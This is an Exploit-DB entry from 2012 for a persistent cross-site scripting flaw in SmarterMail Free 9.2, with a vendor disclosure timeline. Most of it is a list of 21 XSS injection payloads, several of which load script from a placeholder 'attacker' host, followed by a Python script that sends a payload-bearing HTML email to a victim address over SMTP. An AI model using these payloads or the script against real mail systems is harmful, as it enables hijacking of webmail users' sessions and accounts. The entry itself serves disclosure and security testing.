smartermail free 9.2 – Persistent Cross-Site Scripting

  • 作者: loneferret
    日期: 2012-08-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/20362/
  • #!/usr/bin/python
    
    '''
    
    Author: loneferret of Offensive Security
    Product: SmarterMail
    Version: Free 9.2
    Vendor Site: http://www.smartertools.com
    Software Download: http://smartertools.com/smartermail/mail-server-software.aspx
    
    Timeline:
    29 May 2012: Vulnerability reported to CERT
    30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
    23 Jul 2012: Update from CERT. Vendor response: "It looks like a scan was run against an older version of SmarterMail. It would need to be tested against either version 9.4 or 10.0."
    08 Aug 2012: Public Disclosure
    
    Installed On: Windows Server 2003 SP2
    Client Test OS: Window XP Pro SP3 (x86)
    Browser Used: Internet Explorer 8
    Client Test OS: Window 7 Pro SP1 (x86)
    Browser Used: Internet Explorer 9
    
    Injection Point: Body
    Injection Payload(s):
    1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
    2: <SCRIPT>alert('XSS')</SCRIPT>
    3: <SCRIPT SRC=http://attacker/xss.js></SCRIPT> 
    4: <DIV STYLE="width: expression(alert('XSS'));">
    5: <SCRIPT a="blah" '' SRC="http://attacker/xss.js"></SCRIPT>
    6: <SCRIPT "a='>'" SRC="http://attacker/xss.js"></SCRIPT>
    7: <SCRIPT a=">" SRC="http://attacker/xss.js"></SCRIPT>
    8: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://attacker/xss.js"></SCRIPT>
    9: <SCRIPT a=">'>" SRC="http://attacker/xss.js"></SCRIPT>
    10: <SCRIPT/XSS SRC="http://attacker/xss.js"></SCRIPT>
    11: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
    12: <SCRIPT>a=/XSS/
    alert(a.source)</SCRIPT>
    13: <<SCRIPT>alert("XSS");//<</SCRIPT>
    14: <SCRIPT SRC=//attacker/.j>
    15: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
    16: <HTML><BODY>
    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
    <?import namespace="t" implementation="#default#time2">
    <t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML>
    17: <!--[if gte IE 4]>
    <SCRIPT>alert('XSS');</SCRIPT>
    <![endif]--
    18: <SCRIPT SRC="http://attacker/xss.jpg"></SCRIPT>
    19: <XSS STYLE="xss:expression(alert('XSS'))">
    20: <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> 
    21: exp/*<XSS STYLE='no\xss:noxss("*//*");
    xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>
    
    '''
    
    
    import smtplib, urllib2
     
    payload = """<SCRIPT SRC=http://attacker/xss.js></SCRIPT>"""
     
    def sendMail(dstemail, frmemail, smtpsrv, username, password):
    msg= "From: hacker@offsec.local\n"
    msg += "To: victim@victim.local\n"
    msg += 'Date: Today\r\n'
    msg += "Subject: XSS\n"
    msg += "Content-type: text/html\n\n"
    msg += "XSS" + payload + "\r\n\r\n"
    server = smtplib.SMTP(smtpsrv)
    server.login(username,password)
    try:
    server.sendmail(frmemail, dstemail, msg)
    except Exception, e:
    print "[-] Failed to send email:"
    print "[*] " + str(e)
    server.quit()
     
    username = "hacker@offsec.local"
    password = "123456"
    dstemail = "victim@victim.local"
    frmemail = "hacker@offsec.local"
    smtpsrv= "172.16.84.171"
     
    print "[*] Sending Email"
    sendMail(dstemail, frmemail, smtpsrv, username, password)